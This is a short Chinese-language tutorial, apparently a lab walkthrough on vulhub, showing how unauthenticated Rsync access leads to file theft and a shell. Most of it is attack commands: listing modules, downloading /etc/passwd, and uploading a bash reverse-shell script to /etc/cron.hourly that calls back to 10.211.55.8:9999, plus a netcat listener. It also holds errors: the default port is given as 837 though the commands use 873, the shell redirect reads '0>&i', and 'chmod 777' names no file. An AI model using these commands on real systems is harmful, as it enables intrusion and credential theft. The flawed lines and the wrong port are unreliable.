浅谈未授权漏洞——Rsync未授权getshell
0x01 漏洞简介及危害
Rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837。
0x02 漏洞复现
Rsync相关环境利用vulhub进行复现,vulhub安装教程请自行百度
cd /vulhub/rsync/common
docker-compose up -d
未授权访问
#rsync rsync://{target_ip}/
rsync rsync://192.168.2.85/
rsync rsync://192.168.2.85/src
任意文件下载
rsync rsync://192.168.2.85/src/etc/passwd ./
成功下载/etc/passwd
反弹shell
# 下载crontab配置文件
rsync rsync://192.168.2.85:873/src/etc/crontab ./
该环境crontab中
17 * * * * root cd / && run-parts --report /etc/cron.hourly
表示每小时的第17分钟执行run-parts --report /etc/cron.hourly
# 写入bash并赋权
vim nc
chmod 777
#bash内容:
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.211.55.8/9999 0>&i
# 最后将文件上传至/etc/cron.hourly
rsync -av nc rsync://192.168.2.85:873/src/etc/cron.hourly
# kali本地监听9999端口
nc -lvnp 9999
每小时第十七分钟运行我们上传的bash脚本,所以反弹shell需要等待
成功反弹shell
0x03 防护措施
- 账户认证:正确配置认证用户名及密码。
- 权限控制:使用合理的权限。
- 网络访问控制:控制接入源ip。
- 数据加密传输等